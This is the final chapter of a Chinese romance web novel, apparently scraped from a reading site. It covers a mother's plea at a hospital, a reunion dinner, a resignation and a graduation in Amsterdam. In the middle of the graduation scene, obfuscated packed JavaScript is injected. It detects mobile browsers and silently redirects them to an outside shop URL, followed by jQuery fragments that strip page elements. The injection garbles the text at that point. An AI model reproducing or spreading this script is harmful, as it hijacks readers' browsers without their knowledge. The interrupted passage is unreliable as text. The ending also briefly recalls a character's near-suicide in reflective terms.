病房门被推开时，范柔芳正眯在浅淡的睡意里。闻声转过头来，眼睛里还有些迷茫。


    直到眼前的雾散开了，她才看清了眼前站着的男人。


    她一时没有能认出来。


    青春期时谢纯不喜欢吃饭，她总觉得儿子有些瘦弱，现下虽然仍然瘦得可怕，却长得□□了很多，像一棵参天大树了。


    那双青涩倔强的眸子里，也沉淀下了许多让人心疼的沉稳。


    直到谢纯低沉地叫了声：“妈。”


    范柔芳的眼眶一下子红了。


    她朝着谢纯伸出手。


    谢纯犹豫了下，终究还是把她的手掌接了过来，坐在她身边。


    “儿子。”范柔芳摸着他手背的皮肤，带着哭腔道：“妈都听说了，你辛苦了。”


    “还行。”


    “妈走的这段时间，去了很多地方，也想通了很多。当年的事，都是妈妈的错，但妈妈确实是爱你的。”


    “从前的事，不必说了。”


    “好，好。”范柔芳抹了两把泪，小心翼翼地抬眸：“妈这次把你叫过来，是有些事要求你。”


    她知道她话说到这里谢纯不会应，于是自顾自说下去：“现在任昌海倒了，谢氏很乱。小纯，妈妈知道你最讨厌这方面的事，但是能不能……能不能求你管一管谢氏？谢氏是我和你爸的心血，你对它，还是有感情的，对吧？”


    她边说着，边小心翼翼地探察儿子的反应。


    谢纯神情很淡，跟她的殷切仿佛冰火两端。半晌，他缓缓地伸手将范柔芳的手腕掖进被子里，起身：“我走了。”


    “小纯！”在谢纯即将出门的刹那，范柔芳用力支起上半身，带着哭腔道：“如果有时间，去川西看风景吧，那里很美。对了，妈妈当年不应该那样对那个小姑娘说话，如果可以，帮妈妈说句对不起。”


    谢纯抬眼。


    ——柯夏就在病房门外。


    柯夏把指尖竖在唇间，轻轻摇了摇头。


    ……


    他们走在医院长廊上，柯夏先出声：“所以你要接手谢氏吗？”


    谢纯顿住步子，他们正巧经过一个拐弯，外头银杏叶簌簌而下。


    满篇金黄在眼底流溢，激得他眼底雪亮，他沉声道：“嗯。我妈说得对，我对谢氏有感情，不会彻底不管谢氏。”


    “但我想好了，在暂管的过程中，我会培养外婆那边的人，当年我在文工大院能感觉到他们的真心。到时候，我会把谢氏彻底移交。我要去深造，看川西的风景，去攀登珠穆朗玛峰，听大地的脉搏。”


    “带上我不？”


    谢纯蓦地将视线挪来，一笑，猛捏了下她的鼻尖：“玩我？”


    柯夏诡计得逞，哈哈大笑，跑进银杏林里，沐浴在漫天的金色雨下：“快走吧！吃饭去晚了我哥又得骂人了！”


    谢纯笑着追了上去。


    。


    金田巷，灯火通明。


    王薄开门的时候只穿着个白色T恤，顶着满头鸡窝，嘴里叼着个牙刷。


    “哥，你咋这个样？”柯夏回头瞄谢纯，抱怨道：“一点都不尊重客人。”


    王薄冷冷地哼出一口气：“你哥我昨晚刚应酬陪人喝酒，今天又赶过来陪你吃饭。不感恩也就算了，还胳膊肘往外拐。”


    说到这儿，意有所指地把眼神扫到柯夏身后。


    柯夏也不在意了。


    反正她胳膊肘往外拐也不是一两次了。


    王小少爷却不甘心，愣是堵在门口不让进，也不知道在较劲什么。


    一来二去，动静大了被里屋听见。几个姑娘忽然轰出来，给他硬生生挤一边儿去了：“悄悄！哎呀你可回来啦！”


    沈昭满身大红色地抱上来。程鹿露和张含清在一边簇拥着：“你们可回来了，王薄都快骂人了。”


    王薄瞪着眼：“放屁！我一直都无所谓的好不好。”


    柯夏抱着沈昭转了好几个圈，把她放下才注意到她的满身艳红：“又不是过年，你咋穿成这样？”


    沈昭撇嘴：“我高兴嘛，不行啊？”


    “行行行，大小姐说什么都对。”


    “哎？你们还真别说，我刚刚看到村子里超市有仙女棒。”程鹿露道：“一会儿吃完饭我们放烟花去吧。”


    “村子里啥时候有超市了？”柯夏一面往里边走一边奇异道。


    “有啊，就那个婆婆庙超市，听说还是因为流浪猫驿站火起来搬过来的。说起来，我正好缺只猫，待会儿你带我看看，我去收养一只。”


    “我也想收养一只。”张含清举手。


    “行啊，正好我是负责人，待会儿一起去撸猫吧。”


    “啊，原来是你弄的啊！”


    几个姑娘簇拥着往里间去。


    外面，潦草的王薄跟穿戴整齐人模人样的谢纯对视了眼。


    “走吧？”王薄给了个眼神，冷哼：“就咱俩孤家寡人互相取暖咯。”


    谢纯挑眉：“谁跟你孤家寡人？我有女朋友。”


    “去你的。”王薄一脚给他踹里屋去，怒视着他：“哪壶不开提哪壶是不是？”


    谢纯笑着一揽他胳膊：“算了，勉强陪陪你吧。”


    笑着搡着，屋子里渐渐挤满了人。


    明亮的窗子映出纷杂的色块，那像是白色的画布上挤满混乱的颜色。或暗沉、或明亮，却最终混合成了生机勃勃的模样。


    窗外，明月高悬，正是最圆满的一晚。


    ……


    ——


    柯夏假期的最后一天，她去了绩市日报，在陈淼的办公桌上递上辞呈。


    陈淼沉默了会儿，抿了口咖啡笑：“你别跟我说，是因为要谈恋爱？这可不像你。”


    柯夏微微一笑：“师父，你最了解我，你知道的。从读大学到来绩市日报，我都在拼命地拉快进度，拼命地往脑袋里塞东西。我以为学习就是这样，学完所有的课程，把成绩做到极致就好。后来却发现，每个阶段都有它自己存在的意义。所以，我要重新去找回那部分意义。这也是您教我的，不是吗？”


    陈淼掩睫深思片晌，叹了口气，抓起钢笔。停顿了几秒，又抬头：“去了就不回来了？小没良心。”


    “回来。”柯夏狡黠一笑：“到时候您可要小心了，我可是有力竞争者。”


    “去你的。”陈淼一边笑骂着，一边签好了字，递到柯夏手上：“你俩教授和母校那边我可帮你联系好了，怎么感谢我？”


    “谢谢师父，回来您就知道了。”柯夏朝她抛了个媚眼。


    “长江后浪推前浪啊。”陈淼用感慨送着她。


    柯夏回到自己工位上时，瞧见工位上已经有了个人。燕回把柯夏最后的东西放进箱子里，见她来，递到她手上，抿唇：“师父，再会了。”


    柯夏接过东西颔了颔首，犹豫两秒正想启唇，燕回蓦地接过话头：“师父，那天新闻材料送到我手上的时候，我就知道您看不上我了。”


    他笑了笑，站直了身体：“我就跟个毛头小子似的，完全不知道您还有这一面，我……很钦佩你，你是我永远的师父。我爸让我顶替您的岗位，我压力挺大的，但是师父放心去留学吧，我会加油的。”


    柯夏望着少年稚气未脱的脸庞，心底泛上一股热流。


    她伸手拍了拍燕回的肩，沉声：“我相信你，你一定能做好。”


    ……


    ……


    三年后。


    阿姆斯特丹大学。


    “喂，悄悄，我迷路了！”


    “你在哪儿呢？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236578|196091||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “一个河边。”


    “河对面是不是还有个长得跟方块儿似的建筑？”


    沈昭歪着脑袋看了眼：“对，你学校好大……”


    “你等着，我来找你。”


    沈昭在一边乖乖坐下。


    硕士毕业季，不少人聚集在草坪上。忙着合照、忙着谈情说爱，还有几个路过沈昭的时候忍不住多看她几眼，被沈昭瞪回去。


    那几个悻悻地收回目光。


    不久，半红枫香树的尽头，一个黑色的身影踩着落叶奔跑过来。


    来不及等她跑过来，沈昭也朝她奔跑过去，把她抱起来转了好几个圈才放下。放稳了，沈昭惊喜道：“我去，你穿这身太好看了，我都忍不住想去读个学位了！”


    “读啊！”柯夏笑道：“我觉得这两年特别有益。”


    “算了吧，公司那堆事……对了，你不是跟谢纯一块儿读的吗？他人呢？”


    “哦，他读的历史研究方向，我是新闻，不一样。他被教授留下来了。”柯夏指了指身后：“一会儿就过来。”


    “我哥呢？”


    沈昭朝后看了看，正巧看见王薄在河边。


    真不知道王薄是什么物种的人。


    说是带着相机方便给妹妹拍照，结果自己带了个拍照小跟班儿，pose摆了个遍。


    沈昭翻了个白眼：“一会儿毕业典礼开始也别叫他。”


    柯夏咯咯地笑，低头看了眼时间：“确实快开始了，我给谢纯发个位置和消息催催。”


    “哟哟。”沈昭睨她发消息的全过程：“谈那么多年了感情还那么好呢。”


    柯夏羞红了脸，拿胳膊肘顶她：“别乱说话。”


    ……


    从研究中心陪教授做完课题出来，谢纯总算得以换上学位服。


    他翻开手机，看了眼柯夏发来的位置和照片，循着记忆从运河畔赶过去。


    从嬉笑欢闹声一直走，直到闻到了枫香的味道，半红的落叶被风轻轻刮下。


    树叶的边缘轻轻挠着他的耳垂，带来微风沉醉的祝贺，清新的合奏。


    也刮来少女的欢笑声。


    他轻轻喘着气，驻足在原地，望向那处。


    少女穿着和他一样的学位服，正在和闺蜜打闹。


    远处，他们的哥哥懒懒地向他们走来。


    “你来嘛。”


    “那你把帽子给我戴戴，我再做决定。”


    “给。”


    “哎我去，好像还真有那么点儿感觉。”


    “是吧。欸？发消息好久了，谢纯人呢？……在那儿！”


    “谢纯——我在这儿！”


    忽而风起，少女跳起来，在漫天飘扬的红叶里冲他挥手。


    喉间忽地泛起一股热浪。


    从心脏深处，顺着血液淌过他的全身。


    他摘下学位帽，紧紧抓在手心里，迈开步伐，劈开风浪，朝她奔跑过去。


    此刻，每一秒的幸福都变得缓慢而又清晰。


    ……


    他曾有过濒死的时刻。


    在被禁止发出任何声音，却疼痛难忍的冬令时凌晨。


    刀尖已经对准了心口。


    却在抬头看见蒙蒙亮的天光时，重新放下。


    只是想，能和她一起看就好了。


    哪怕只是最普通的天亮，能一起看就好了。


    他赌对了。


    在心盲的前一眼，失语的前一句，他等到了足以倒转时间的、与日月恒长的一秒。


    从此，留不住的日光，尽数倒淌了回来。


    如果生命只有这一秒，他会笑着在下一秒赴死。


    她就是这一秒。


    -全文完-


    境亦自寂


    2026.1.26